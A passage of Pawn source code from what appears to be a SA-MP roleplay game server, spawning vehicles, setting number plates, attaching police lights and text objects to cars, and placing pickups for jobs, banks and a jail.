     SetVehicleNumberPlate(newsrpx1=AddStaticVehicleEx(582, -342.9005, 1516.1517, 75.3574, 0.3818, 112, 116, -1), "NR01");
     SetVehicleNumberPlate(newsrpx2=AddStaticVehicleEx(582, -339.7941, 1516.1864, 75.3473, 0.2555, 112, 116, -1), "NR02");
     SetVehicleNumberPlate(newsrpx3=AddStaticVehicleEx(582, -333.4331, 1516.4981, 75.4162, 0.3276, 112, 116, -1), "NR03");
     SetVehicleNumberPlate(newsrpx4=AddStaticVehicleEx(582, -336.7066, 1516.3951, 75.4364, 359.7782, 112, 116, -1), "NR04");
     SetVehicleNumberPlate(newsrpx5=AddStaticVehicleEx(582, -330.3892, 1516.4785, 75.3622, 0.3684, 112, 116, -1), "NR05");
	/*----------------------------------------------------------------------------*///
	SetVehicleNumberPlate(jcarx1=AddStaticVehicleEx(525,1626.87280273,2197.60156250,10.81031227,179.99993896,-1,3,900), "Mechanic"); //Tow Truck, Job mechanic 86
	SetVehicleNumberPlate(jcarx2=AddStaticVehicleEx(525,1638.00000000,2197.60156250,10.81031227,179.99450684,-1,3,900), "Mechanic"); //Tow Truck, Job mechanic 87
	SetVehicleNumberPlate(jcarx3=AddStaticVehicleEx(525,1649.30004883,2197.60156250,10.81031227,179.99450684,-1,3,900), "Mechanic"); //Tow Truck, Job mechanic 88
	/*----------------------------------------------------------------------------*///
	amb9 = AddStaticVehicleEx(563,1607.58959961,1800.33703613,30.73374939,0.00000000,1,3,900); //Maverick MEDIC 89
	/*----------------------------------------------------------------------------*///
	SetVehicleNumberPlate(AddStaticVehicleEx(571,2286.2141,-2354.5000,12.8306,225.8705,-1,-1,900), "Kart"); // kart 90
	SetVehicleNumberPlate(AddStaticVehicleEx(571,2279.9412,-2348.4141,12.8312,225.8585,-1,-1,900), "Kart"); // kart 91
	SetVehicleNumberPlate(AddStaticVehicleEx(571,2291.7932,-2345.5356,12.8305,227.3060,-1,-1,900), "Kart"); // kart 92
	SetVehicleNumberPlate(AddStaticVehicleEx(571,2287.5615,-2341.6433,12.8306,226.5350,-1,-1,900), "Kart"); // kart 93
	SetVehicleNumberPlate(AddStaticVehicleEx(571,2299.6785,-2338.3186,12.8307,224.3563,-1,-1,900), "Kart"); // kart 94
	SetVehicleNumberPlate(AddStaticVehicleEx(571,2295.3887,-2334.9448,12.8307,227.9102,-1,-1,900), "Kart"); // kart 95
	/*----------------------------------------------------------------------------*///
	buscarx15=AddStaticVehicleEx(431, 1907.7020, 2294.7112, 10.7563, 90.0000, -1, -1, 100);
	buscarx16=AddStaticVehicleEx(431, 1907.6378, 2304.3225, 10.7563, 90.0000, -1, -1, 100);
	/*----------------------------------------------------------------------------*///
	AddStaticVehicleEx(456,2508.9116,-2111.7759,13.7206,0,-1,-1, 900); // Component Truck Yankee 98
	AddStaticVehicleEx(456,2484.5356,-2111.7759,13.7196,0,-1,-1,900); // Component Truck Yankee 99
	AddStaticVehicleEx(440,2529.0413,-2085.3999,13.6651,90,-1,-1,900); // Component Truck Rumpo 100
	AddStaticVehicleEx(440,2528.9482,-2092.6104,13.6631,90,-1,-1,900); // Component Truck Rumpo 101
	/*----------------------------------------------------------------------------*///
	SetVehicleNumberPlate(AddStaticVehicleEx(522,1832.4215,-1872.1449,12.9827,354.8399,13,13,900), "Rent"); // Faggio 102 rent
	SetVehicleNumberPlate(taxicarx16=AddStaticVehicleEx(438,1799.3512, -1885.8828, 13.2803, 270.0000,6,6,900), "Taxi 64"); // Taxi 103
	SetVehicleNumberPlate(AddStaticVehicleEx(522,1837.8413,-1872.3580,12.9884,356.1614,1,3,900), "Rent"); // Faggio 104 rent
	SetVehicleNumberPlate(taxicarx17=AddStaticVehicleEx(438,1781.3384, -1886.0508, 13.2803, 270.0000,6,6,900), "Taxi 86"); // Taxi 105
	SetVehicleNumberPlate(AddStaticVehicleEx(522,1844.4570,-1872.6265,12.9903,356.8652,2,1,900), "Rent"); // Faggio 106 rent
	SetVehicleNumberPlate(AddStaticVehicleEx(462,1842.1145,-1853.9072,12.9798,180.3110,2,1,900), "Rent"); // Faggio 107 rent
	SetVehicleNumberPlate(AddStaticVehicleEx(463,1839.8745,-1853.7493,12.9846,178.6025,3,1,900), "Rent"); // Freeway 108 rent
	SetVehicleNumberPlate(AddStaticVehicleEx(463,1836.7505,-1853.5966,12.9883,177.9563,3,1,900), "Rent"); // Freeway 109 rent
	SetVehicleNumberPlate(AddStaticVehicleEx(463,1834.2683,-1853.3597,12.9893,179.0098,2,1,900), "Rent"); // Freeway 110 rent
	/*----------------------------------------------------------------------------*///
	SetVehicleNumberPlate(AddStaticVehicleEx(551,1147.38305664,1368.28906250,10.67187500,270.00000000,162,162,900), "School.I"); //Admiral 111 School Instructor
	SetVehicleNumberPlate(AddStaticVehicleEx(551,1133.09558105,1368.39843750,10.67187500,270.00000000,162,162,900), "School.I"); //Sentinel 112 School Instructor
	SetVehicleNumberPlate(AddStaticVehicleEx(551,1142.16845703,1378.60693359,10.67187500,270.00000000,162,162,900), "School.I"); //Sentinel 113 School Instructor
	SetVehicleNumberPlate(AddStaticVehicleEx(487,365.33956909,2538.09204102,16.92982101,181.99993896,162,162,900), "School.I"); //Maverick 114 School Instructor
	SetVehicleNumberPlate(AddStaticVehicleEx(593,351.16583252,2537.30957031,17.36808968,180.00000000,162,162,900), "School.I"); //Dodo 115 School Instructor
	SetVehicleNumberPlate(AddStaticVehicleEx(513,380.02499390,2536.27026367,17.32382011,180.00000000,162,162,900), "School.I"); //Stunt 116 School Instructor
	/*----------------------------------------------------------------------------*///
	SetVehicleNumberPlate(AddStaticVehicleEx(400,558.89056396,-1288.96875000,16.99823761,0.00000000,-1,-1,900), "Rent"); //Banshee RentCar LS 117
	SetVehicleNumberPlate(AddStaticVehicleEx(401,553.27917480,-1289.25646973,17.09823799,0.00000000,-1,-1,900), "Rent"); //ZR-350 RentCar LS 118
	SetVehicleNumberPlate(AddStaticVehicleEx(405,547.85394287,-1289.13879395,17.09775925,0.00000000,-1,-1,900), "Rent"); //Cheetah RentCar LS 119
	SetVehicleNumberPlate(AddStaticVehicleEx(410,542.52355957,-1288.85302734,17.03430176,0.00000000,1,1,900), "Rent"); //Super GT RentCar LS 120
	SetVehicleNumberPlate(AddStaticVehicleEx(421,537.06170654,-1288.89453125,17.46218681,0.00000000,-1,-1,900), "Rent"); //Mesa RentCar LS 121
	SetVehicleNumberPlate(AddStaticVehicleEx(436,532.08923340,-1288.68432617,17.39143372,0.00000000,-1,-1,900), "Rent"); //Hotknife RentCar LS 122
	SetVehicleNumberPlate(AddStaticVehicleEx(445,527.16076660,-1288.77734375,17.09218788,0.00000000,-1,-1,900), "Rent"); //Comet RentCar LS 123
	SetVehicleNumberPlate(AddStaticVehicleEx(492,521.88586426,-1289.00329590,17.14218712,0.00000000,-1,-1,900), "Rent"); //Virgo RentCar LS 124
	/*----------------------------------------------------------------------------*///
	AddStaticVehicleEx(556,-2325.78515625,-1674.27185059,482.81427002,328.00000000,-1,-1,900); //Bandito 125 LS CaRsS Chilliand
	AddStaticVehicleEx(468,-2328.04980469,-1671.36511230,482.79415894,330.00000000,-1,-1,900); //Sanchez 126 LS CaRsS Chilliand
	AddStaticVehicleEx(468,-2329.97143555,-1669.74450684,482.79415894,329.99633789,-1,-1,900); //Sanchez 127 LS CaRsS Chilliand
	AddStaticVehicleEx(468,-2332.36987305,-1667.49414062,482.79415894,329.99633789,-1,-1,900); //Sanchez 128 LS CaRsS Chilliand
	AddStaticVehicleEx(468,-2334.37768555,-1665.51074219,482.79415894,329.99633789,-1,-1,900); //Sanchez 129 LS CaRsS Chilliand
	AddStaticVehicleEx(471,-2261.19262695,-1690.35693359,480.27966309,145.99993896,-1,-1,900); //Quad 130 LS CaRsS Chilliand
	AddStaticVehicleEx(471,-2259.52026367,-1691.86157227,480.27966309,145.99731445,-1,-1,900); //Quad 131 LS CaRsS Chilliand
	AddStaticVehicleEx(471,-2257.66162109,-1693.53369141,480.27966309,145.99731445,-1,-1,900); //Quad 132 LS CaRsS Chilliand
	AddStaticVehicleEx(471,-2255.80322266,-1695.20556641,480.27966309,145.99731445,-1,-1,900); //Quad 133 LS CaRsS Chilliand
	AddStaticVehicleEx(471,-2253.94482422,-1696.87744141,480.27966309,145.99731445,-1,-1,900); //Quad 134 LS CaRsS Chilliand
	AddStaticVehicleEx(471,-2251.71484375,-1698.88378906,480.27966309,145.99731445,-1,-1,900); //Quad 135 LS CaRsS Chilliand
	/*----------------------------------------------------------------------------*///
	SetVehicleNumberPlate(farmveh1=AddStaticVehicleEx(532,-387.4058,-1476.6927,26.7035,265.6719,0,0,900), "Farm"); // Harvest 136
	SetVehicleNumberPlate(farmveh2=AddStaticVehicleEx(532,-382.8609,-1465.2964,26.7162,262.4081,0,0,900), "Farm"); // Harvest 137
	SetVehicleNumberPlate(farmveh3=AddStaticVehicleEx(532,-392.8095,-1487.2607,26.3314,268.0157,0,0,900), "Farm"); // Harvest 138
	SetVehicleNumberPlate(farmveh4=AddStaticVehicleEx(532,-399.6307,-1500.4774,25.4502,265.1973,0,0,900), "Farm"); // Harvest 139
	/*----------------------------------------------------------------------------*///
	SetVehicleNumberPlate(AddStaticVehicleEx(436,2129.6118,1408.3391,10.4977,0.0933,-1,-1,900), "Rent");//Rent car LV Banshee 140
	SetVehicleNumberPlate(AddStaticVehicleEx(496,2148.8013,1408.3439,10.5979,358.7675,-1,-1,900), "Rent");//Rent car LV Zr-350 141
	SetVehicleNumberPlate(AddStaticVehicleEx(507,2142.3154,1398.6925,10.7710,179.4777,-1,-1,900), "Rent");//Rent car LV Hotckife 142
	SetVehicleNumberPlate(AddStaticVehicleEx(516,2123.0991,1398.7360,10.6198,179.7413,-1,-1,900), "Rent");//Rent car LV Cheetah  143
	SetVehicleNumberPlate(AddStaticVehicleEx(517,2110.3821,1408.2379,10.5631,359.7492,-1,-1,900), "Rent");//Rent car LV Super GT 144
	SetVehicleNumberPlate(AddStaticVehicleEx(526,2100.7273,1398.9619,10.9282,179.6969,-1,-1,900), "Rent");//Rent car LV Mesa 145
	SetVehicleNumberPlate(AddStaticVehicleEx(527,2119.9829,1408.3014,10.5889,0.4287,-1,-1,900), "Rent");//Rent car LS Vrigo 146
	SetVehicleNumberPlate(AddStaticVehicleEx(529,2139.1919,1408.0792,10.6108,0.4416,-1,-1,900), "Rent");//Rent car LS Comet 147
	//--------------------------------------------------------------------------Planes
	barcar1 = AddStaticVehicleEx(487,2614.9856,2404.2256,17.9968,299.2169,128,128,1200); //GroveStreet Hely 148
	/*----------------------------------------------------------------------------*///
	SetVehicleNumberPlate(AddStaticVehicleEx(409, 1482.3547, -1736.1621, 13.2465, 270.2103, 1, 1, 1200), "Mayor"); //Mayor car added by Sina
	AddStaticVehicleEx(550, 1616.7512, -1137.0022, 23.7013, 269.1846, -1, -1, 1200);// added by Sina (sunrise parking ls)
	/*----------------------------------------------------------------------------*///
	AddStaticVehicleEx(466, 1978.4500, 2239.7720, 26.8959, 268.8609, -1, -1, 100);
	//--------------------------------------------------------------------------Planes
	patcar3 = AddStaticVehicleEx(487,1464.2153,774.1384,11.0032,89.3618,179,179,900); //TBF Maverick 153
	AddStaticVehicleEx(487, 1557.2292, -2631.7034, 13.6891, 0.0000, -1, -1, 100); // airport heli ls 2
	AddStaticVehicleEx(487, 1570.3289, -2631.7034, 13.6891, 0.0000, -1, -1, 100); // airport heli ls 1
	cuncar2 = AddStaticVehicleEx(487,704.9799,-1458.7103,17.9001,0.0010,12,12,900); // Maverick Da Nang Boys 156
	/*----------------------------------------------------------------------------*///
	SetVehicleNumberPlate(AddStaticVehicleEx(473,-1375.77844238,2114.75268555,38.13280487,228.00000000,-1,-1,900), "Boat"); //Barca pe langa hq NR--> LV --> 157
	//--------------------------------------------------------------------------TAXI cars mai jos
	SetVehicleNumberPlate(taxicarx14=AddStaticVehicleEx(487,945.21612549,1796.00000000,16.05909538,270.00000000,6,-1,900), "Taxi"); //Maverick 158
	SetVehicleNumberPlate(taxicarx15=AddStaticVehicleEx(487,945.21582031,1671.47363281,16.05909538,270.00000000,6,-1,900), "Taxi"); //Maverick 159
	LuxTaxi1 = AddStaticVehicleEx(560,951.17291260,1740.40563965,8.45341301,270.00000000,6,1,900); //Sultan 160
	LuxTaxi2 = AddStaticVehicleEx(560,951.16918945,1726.22033691,8.45341301,270.00000000,6,1,900); //Sultan 161
	SetVehicleNumberPlate(taxicarx11=AddStaticVehicleEx(420,984.33563232,1743.44055176,8.49843693,92.00000000,6,1,900), "Taxi"); //Taxi 162
	SetVehicleNumberPlate(taxicarx12=AddStaticVehicleEx(420,984.26385498,1722.80004883,8.50487614,91.99951172,6,1,900), "Taxi"); //Taxi 163
	SetVehicleNumberPlate(taxicarx13=AddStaticVehicleEx(420,984.33496094,1733.09997559,8.49843693,91.99951172,6,1,900), "Taxi"); //Taxi 164
	/*----------------------------------------------------------------------------*///
	AddStaticVehicleEx(452,1619.42736816,593.76739502,0.00000000,180.00000000,-1,-1,900); //Speeder Boat Rent 165
	AddStaticVehicleEx(452,1637.15246582,593.97656250,0.00000000,180.00000000,-1,-1,900); //Speeder Boat Rent 166
	AddStaticVehicleEx(473,1619.58081055,579.31976318,0.00000000,180.00000000,-1,-1,900); //Dinghy Boat Rent 167
	AddStaticVehicleEx(473,1636.83007812,579.09613037,0.00000000,180.00000000,-1,-1,900); //Dinghy Boat Rent 168
	AddStaticVehicleEx(493,1624.63061523,569.87823486,0.00000000,180.00000000,-1,-1,900); //Jetmax Boat Rent 169
	AddStaticVehicleEx(493,1632.12988281,569.87609863,0.00000000,180.00000000,-1,-1,900); //Jetmax Boat Rent 170
	/*----------------------------------------------------------------------------*/
	tatcar = AddStaticVehicleEx(560,1248.6779,-2045.4602,59.6498,268.3867,6,6, 60000); //Vagos Sultan
	tatcar1 = AddStaticVehicleEx(560,1242.7739,-2031.1902,59.7773,178.8082,6,6, 60000); //Vagos Sultan
	tatcar2 = AddStaticVehicleEx(409,1242.9808,-2015.0297,59.7788,180.6815,6,6, 60000); //Vagos Stretch
	tatcar3 = AddStaticVehicleEx(579,1275.1589,-2046.2448,58.9736,87.6114,6,6, 60000); //Vagos Huntley
	tatcar4 = AddStaticVehicleEx(521,1240.2898,-2043.3413,59.5237,176.6982,6,6, 60000); //Vagos Bike
	tatcar5 = AddStaticVehicleEx(487,1196.2714,-2037.0427,69.1845,89.3549,6,6, 60000); //Vagos Maverick
	tatcar6 = AddStaticVehicleEx(413,1240.9086,-2067.7109,60.1044,359.8907,6,6, 60000); //Vagos Pony
	/*----------------------------------------------------------------------------*/
	corcar = AddStaticVehicleEx(409,1472.9310,2773.6177,10.5430,181.1980,0,0,1200); // Triads 177
	corcar1 = AddStaticVehicleEx(522,1527.5551,2818.3660,10.3892,80.3803,0,0,1200); // Triads >> NRG
	corcar2 = AddStaticVehicleEx(560,1465.0474,2839.3381,10.5477,180.8990,0,0,1200); // Triads
	corcar3 = AddStaticVehicleEx(560,1482.3733,2878.9294,10.5465,179.3463,0,0,1200); // Triads
	corcar4 = AddStaticVehicleEx(579,1491.3202,2878.3752,10.7537,179.4318,0,0,1200); // Triads
	corcar5 = AddStaticVehicleEx(487,1450.6945,2824.3333,11.0326,262.8694,0,0,1200); // Triads 182
	/*----------------------------------------------------------------------------*/
	scar = AddStaticVehicleEx(560,2822.7539,-1075.4534,30.4239,180.1004,155,155,1200); // VLA 218
	scar1 = AddStaticVehicleEx(409,2814.466552,-1089.383789,30.547935,180.835784,155,155,1200); // VLA 219
	scar2 = AddStaticVehicleEx(560,2822.6890,-1088.4027,30.4240,180.0557,155,155,1200); // VLA 220
	scar3 = AddStaticVehicleEx(579,2805.3694,-1065.0013,30.4090,179.0163,155,155,1200); // VLA 221
	scar4 = AddStaticVehicleEx(413,2804.9590,-1109.4777,30.8002,0.0006,155,155,1200); // VLA 222
	scar5 = AddStaticVehicleEx(521,2797.9109,-1097.3646,30.2847,268.5923,155,155,1200); // VLA 223
	scar6 = AddStaticVehicleEx(487,2799.168457,-1068.472778,94.363693,88.712821,155,155,1200); // VLA 224
	/*----------------------------------------------------------------------------*///
	AddStaticVehicleEx(466,2186.45288086,1996.06616211,10.74031258,90.00000000,-1,-1,900); //Glendale LV Car 171
	AddStaticVehicleEx(561,2119.89111328,1916.40917969,10.59587479,179.99993896,-1,-1,900); //Stratum LV Car 172
	AddStaticVehicleEx(603,2074.75219727,1617.91918945,10.67455006,0.00000000,-1,-1,900); //Phoenix LV Car 173
	AddStaticVehicleEx(439,2040.20263672,1368.02807617,10.67187500,179.99993896,-1,-1,900); //Stallion LV Car 174
	AddStaticVehicleEx(585,2141.85595703,1012.90002441,10.51723862,270.00000000,-1,-1,900); //Emperor LV Car 175
	AddStaticVehicleEx(542,1843.86804199,1171.25903320,10.68525600,270.00000000,-1,-1,900); //Clover LV Car 176
	AddStaticVehicleEx(549,2301.90600586,1408.64550781,10.68489075,270.00000000,-1,-1,900); //Tampa LV Car 177
	AddStaticVehicleEx(496,2351.48852539,1447.96997070,20.54981613,90.00000000,-1,-1,900); //Blista Compact LV Car 178
	AddStaticVehicleEx(466,2302.42578125,1518.17102051,29.94343758,0.00000000,-1,-1,900); //Glendale LV Car 179
	AddStaticVehicleEx(542,2309.16040039,1518.15844727,42.66371155,179.99993896,-1,-1,900); //Clover LV Car 180
	AddStaticVehicleEx(561,2305.77880859,1388.93847656,42.74431229,0.00000000,-1,-1,900); //Stratum LV Car 181
	AddStaticVehicleEx(401,2452.10009766,1336.53015137,10.68812752,0.00000000,-1,-1,900); //Bravura LV Car 182
	AddStaticVehicleEx(522,2229.60009766,1417.16088867,10.72287750,270.00000000,-1,-1,900); //NRG-500 LV Moto 183
	SetVehicleNumberPlate(barcar1, "DGT 001");
	SetVehicleNumberPlate(patcar3, "TG 741");
	SetVehicleNumberPlate(tatcar6, "TTG 142");
	SetVehicleNumberPlate(corcar2, "KMF 474");
SetVehicleNumberPlate(amb9, "Medics");
SetVehicleNumberPlate(amb1, "MED 588");
SetVehicleNumberPlate(amb2, "MED 974");
SetVehicleNumberPlate(amb3, "MED 255");
SetVehicleNumberPlate(amb4, "MED 415");
SetVehicleNumberPlate(amb5, "MED 102");
SetVehicleNumberPlate(amb6, "MED 123");
SetVehicleNumberPlate(amb7, "MED 555");
SetVehicleNumberPlate(amb8, "MED 444");
	SetVehicleNumberPlate(infer1, "PD NRG");
	SetVehicleNumberPlate(infer2, "PD NRG");
	SetVehicleNumberPlate(infer3, "PD Infernus");
	SetVehicleNumberPlate(infer4, "PD Infernus");
	SetVehicleNumberPlate(infer5, "PD Infernus");
	SetVehicleNumberPlate(carcopx8, "PD Infernus");
	SetVehicleNumberPlate(carcopx9, "PD Infernus");
	SetVehicleNumberPlate(LuxTaxi1, "Lux Taxi");
	SetVehicleNumberPlate(LuxTaxi2, "Lux Taxi");
	bulletlight1 = CreateDynamicObject(19420, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0);
	bulletlight2 = CreateDynamicObject(19420, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0);
//	bulletneon1 = CreateDynamicObject(19419, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0);
//	bulletneon2 = CreateDynamicObject(19419, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0);
   bullettext1 = CreateDynamicObject(19326, 0, 0, 0, 0, 0, 0);
	bullettext2 = CreateDynamicObject(19326, 0, 0, 0, 0, 0, 0);
   SetDynamicObjectMaterialText(bullettext1, 0, "POLICE", OBJECT_MATERIAL_SIZE_512x512,"Impact", 230, 0, 0xFF000000, false, OBJECT_MATERIAL_TEXT_ALIGN_CENTER);// be false dast nazan doroste ( khodamam shansi gozashtam!!!!! :O hame too in moondan!(gheir az bazia ke lo nemidan :P)
	SetDynamicObjectMaterialText(bullettext2, 0, "POLICE", OBJECT_MATERIAL_SIZE_512x512,"Impact", 230, 1, 0xFF000000, false, OBJECT_MATERIAL_TEXT_ALIGN_CENTER);
   AttachDynamicObjectToVehicle(bulletlight1, bullet1, 0.0433, -0.2661, 0.6266,0.0000, 0.0000, 0.0000);
	AttachDynamicObjectToVehicle(bulletlight2, bullet2, 0.0433, -0.2661, 0.6266,0.0000, 0.0000, 0.0000);
	AttachDynamicObjectToVehicle(bullettext1,bullet1,-0.0022, -1.6872, 0.3867,78.0000, 0.0000, 180.0000);
	AttachDynamicObjectToVehicle(bullettext2,bullet2,-0.0022, -1.6872, 0.3867,78.0000, 0.0000, 180.0000);
	light3 = CreateDynamicObject(19420, 0, 0, 0, 0, 0, 0); //police red and blue light
	light4 = CreateDynamicObject(19420, 0, 0, 0, 0, 0, 0); //police red and blue light
	light5 = CreateDynamicObject(19420, 0, 0, 0, 0, 0, 0); //police red and blue light
	light6 = CreateDynamicObject(19420, 0, 0, 0, 0, 0, 0); //police red and blue light
	light7 = CreateDynamicObject(19420, 0, 0, 0, 0, 0, 0); //police red and blue light
	neon3 = CreateDynamicObject(19419, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0);
	neon4 = CreateDynamicObject(19419, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0);
	neon5 = CreateDynamicObject(19419, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0);
	neon6 = CreateDynamicObject(19419, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0);
	neon7 = CreateDynamicObject(19419, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0);
	new neveshtepolice1 = CreateDynamicObject(19326, 0, 0, 0, 0, 0, 0);
	new neveshtepolice2 = CreateDynamicObject(19326, 0, 0, 0, 0, 0, 0);
	new neveshtepolice3 = CreateDynamicObject(19326, 0, 0, 0, 0, 0, 0);
	new neveshtepolice4 = CreateDynamicObject(19326, 0, 0, 0, 0, 0, 0);
	new neveshtepolice5 = CreateDynamicObject(19326, 0, 0, 0, 0, 0, 0);
	new neveshtepolice6 = CreateDynamicObject(19326, 0, 0, 0, 0, 0, 0);
	new neveshtepolice7 = CreateDynamicObject(19326, 0, 0, 0, 0, 0, 0);
	SetDynamicObjectMaterialText(neveshtepolice1,0, "POLICE", OBJECT_MATERIAL_SIZE_512x512,"Impact", 230, 0, 0xFF000000, false, OBJECT_MATERIAL_TEXT_ALIGN_CENTER);// be false dast nazan doroste ( khodamam shansi gozashtam!!!!! :O hame too in moondan!(gheir az bazia ke lo nemidan :P)
	SetDynamicObjectMaterialText(neveshtepolice2,0, "POLICE", OBJECT_MATERIAL_SIZE_512x512,"Impact", 230, 1, 0xFF000000, false, OBJECT_MATERIAL_TEXT_ALIGN_CENTER);// be false dast nazan doroste ( khodamam shansi gozashtam!!!!! :O hame too in moondan!(gheir az bazia ke lo nemidan :P)
	SetDynamicObjectMaterialText(neveshtepolice3,0, "POLICE", OBJECT_MATERIAL_SIZE_512x512,"Impact", 230, 2, 0xFF000000, false, OBJECT_MATERIAL_TEXT_ALIGN_CENTER);// be false dast nazan doroste ( khodamam shansi gozashtam!!!!! :O hame too in moondan!(gheir az bazia ke lo nemidan :P)
	SetDynamicObjectMaterialText(neveshtepolice4,0, "POLICE", OBJECT_MATERIAL_SIZE_512x512,"Impact", 230, 3, 0xFF000000, false, OBJECT_MATERIAL_TEXT_ALIGN_CENTER);// be false dast nazan doroste ( khodamam shansi gozashtam!!!!! :O hame too in moondan!(gheir az bazia ke lo nemidan :P)
	SetDynamicObjectMaterialText(neveshtepolice5,0, "POLICE", OBJECT_MATERIAL_SIZE_512x512,"Impact", 230, 4, 0xFF000000, false, OBJECT_MATERIAL_TEXT_ALIGN_CENTER);// be false dast nazan doroste ( khodamam shansi gozashtam!!!!! :O hame too in moondan!(gheir az bazia ke lo nemidan :P)
	SetDynamicObjectMaterialText(neveshtepolice6,0, "POLICE", OBJECT_MATERIAL_SIZE_512x512,"Impact", 230, 4, 0xFF000000, false, OBJECT_MATERIAL_TEXT_ALIGN_CENTER);// be false dast nazan doroste ( khodamam shansi gozashtam!!!!! :O hame too in moondan!(gheir az bazia ke lo nemidan :P)
	SetDynamicObjectMaterialText(neveshtepolice7,0, "POLICE", OBJECT_MATERIAL_SIZE_512x512,"Impact", 230, 4, 0xFF000000, false, OBJECT_MATERIAL_TEXT_ALIGN_CENTER);// be false dast nazan doroste ( khodamam shansi gozashtam!!!!! :O hame too in moondan!(gheir az bazia ke lo nemidan :P)
	AttachDynamicObjectToVehicle(light3, infer3, 0, 0, 0.7, 0, 0, 0);
	AttachDynamicObjectToVehicle(light4, infer4, 0, 0, 0.7, 0, 0, 0);
	AttachDynamicObjectToVehicle(light5, infer5, 0, 0, 0.7, 0, 0, 0);
	AttachDynamicObjectToVehicle(light6, 681, 0, 0, 0.7, 0, 0, 0);
	AttachDynamicObjectToVehicle(light7, 682, 0, 0, 0.7, 0, 0, 0);
	AttachDynamicObjectToVehicle(neveshtepolice3, infer3, 0, -1.9639, 0.2548, 90.0000, 180.0000, 0.0000);
	AttachDynamicObjectToVehicle(neveshtepolice4, infer4, 0, -1.9639, 0.2548, 90.0000, 180.0000, 0.0000);
	AttachDynamicObjectToVehicle(neveshtepolice5, infer5, 0, -1.9639, 0.2548, 90.0000, 180.0000, 0.0000);
	AttachDynamicObjectToVehicle(neveshtepolice6, 681, 0, -1.9639, 0.2548, 90.0000, 180.0000, 0.0000);
	AttachDynamicObjectToVehicle(neveshtepolice7, 682, 0, -1.9639, 0.2548, 90.0000, 180.0000, 0.0000);



	taxiicon1 = CreateDynamicObject(19308,0, 0, 0, 0, 0, 0);
	taxiicon2 = CreateDynamicObject(19308,0, 0, 0, 0, 0, 0);
	AttachDynamicObjectToVehicle(taxiicon1, LuxTaxi1, 0, -0.2, 0.92, 0, 0, 0);
	AttachDynamicObjectToVehicle(taxiicon2, LuxTaxi2, 0, -0.2, 0.92, 0, 0, 0);
	taxiicon3 = CreateDynamicObject(19308,0, 0, 0, 0, 0, 0);
	taxiicon4 = CreateDynamicObject(19308,0, 0, 0, 0, 0, 0);
	AttachDynamicObjectToVehicle(taxiicon3, 71, 0, -0.2, 0.92, 0, 0, 0);
	AttachDynamicObjectToVehicle(taxiicon4, 72, 0, -0.2, 0.92, 0, 0, 0);

	//ChatrErfan = CreatePickup(371, 1, 1238.80798, -922.98669, 116.11516,0);//erfan
	//Chatr2Erfan = CreatePickup(371, 1, 1243.08191, -916.79828, 117.80291,0);//erfan

	//AsansorP = CreatePickup(1318, 1, 1280.484252,-812.622131,83.593766,0);//erfan
	//AsansorB = CreatePickup(1318, 1, 1285.041137,-829.096557,109.274423,0);//erfan
	CreatePickup(1239, 1, 1607.520996,1815.756591,10.820312,0);//medic hq
	CreatePickup(1239, 1, -329.8395,1536.6249,76.6117, 0);//News Reporter HQ PickUp.
	for(new i = 0;i<3;i++)
	{
	   CreatePickup(1247, 1, 236.390625,109.871276,1003.225708,i);//duty
	   CreatePickup(1239, 1, 244.331329,118.533126,1003.218750,i);//equip
	}
	/*
	CreatePickup(1247, 1, 236.390625,109.871276,1003.225708,100074);//duty sfpd
	CreatePickup(1239, 1, 244.331329,118.533126,1003.218750,100074);//equip sfpd
	*/

	//CreatePickup(1239, 1, 193.368545,1931.499145,17.640625,1020304050);//equip sfpd
	//CreatePickup(1239, 1, 1306.528564,734.602722,10.820312,0);//Get Gun
	//CreatePickup(1239, 1, 235.418899,74.335296,1005.039062,0);//Join Sol
    //CreatePickup(1239, 1, 363.266784, 110.244155, 1027.215087,10);//Receive Gun Hacker
	CreatePickup(1239, 1, 1761.950073,-1542.098510,1993.670043,10);//Jail Control Panel
	CreatePickup(1239, 1, 1762.053588,-1564.047119,2001.460449,10);//Jail Yard Control Panel
	CreatePickup(1239, 1, 193.368545, 1931.499145, 17.640625,10);//Jail Yard
	CreatePickup(1239, 1, 2077.161376,-2006.656250,13.546875,0);//Garbage getjob
	CreatePickup(1239, 1, 2104.904541,-1806.644897,13.554687,0);//Garbage getjob
	CreatePickup(1239, 1, 1409.219482, 1319.882202, 1501.083984, 25);// BANK LS - Baje 4 -
	CreatePickup(1239, 1, 1407.353515, 1319.989868, 1501.083984, 25);// BANK LS - Baje 3 -
	CreatePickup(1239, 1, 1402.922241, 1319.958129, 1501.083984, 25);// BANK LS - Baje 2 -
	CreatePickup(1239, 1, 1401.036499, 1320.170776, 1501.085937, 25);// BANK LS - Baje 1 -
	CreatePickup(1239, 1, 1409.219482, 1319.882202, 1501.083984, 26);// BANK LV - Baje 4 -
	CreatePickup(1239, 1, 1407.353515, 1319.989868, 1501.083984, 26);// BANK LV - Baje 3 -
	CreatePickup(1239, 1, 1402.922241, 1319.958129, 1501.083984, 26);// BANK LV - Baje 2 -
	CreatePickup(1239, 1, 1401.036499, 1320.170776, 1501.085937, 26);// BANK LV - Baje 1 -
	CreatePickup(1239, 1, -196.126205,2659.945556,62.839744,0);//hotdog place
	//hpss = CreatePickup(1240, 1, 1285.386474,751.279541,10.820312,0);//hp soldier place
	CreatePickup(1239, 1, -2147.457031,-424.305725,35.335937,0);//hotdog place sf
	CreatePickup(1239, 1, -2690.852050,383.803985,4.374998,0);//hotdog place sf

	prisonpickup1=CreatePickup(1318, 1, -989.489624, -620.937866, 32.030052);// prison exterior
	prisonpickup2=CreatePickup(1318, 1, -981.132934, -628.878295, 32.030052);// prison exterior
	prisonpickup3=CreatePickup(1318, 1, -984.058105, -652.383239, 32.030052);// prison exterior
	prisonpickup4=CreatePickup(1318, 1, -998.388366, -655.713073, 32.030055);// prison exterior
	prisonpickup5=CreatePickup(1318, 1, -1047.710083, -643.205444, 32.030052);// prison exterior
	prisonpickup6=CreatePickup(1318, 1, -204.5060,-1736.0486,675.7687);// prison exterior
	prisonpickup7=CreatePickup(1318, 1, 1817.497924, -1530.870117, 5700.428710-2000);// prison interior
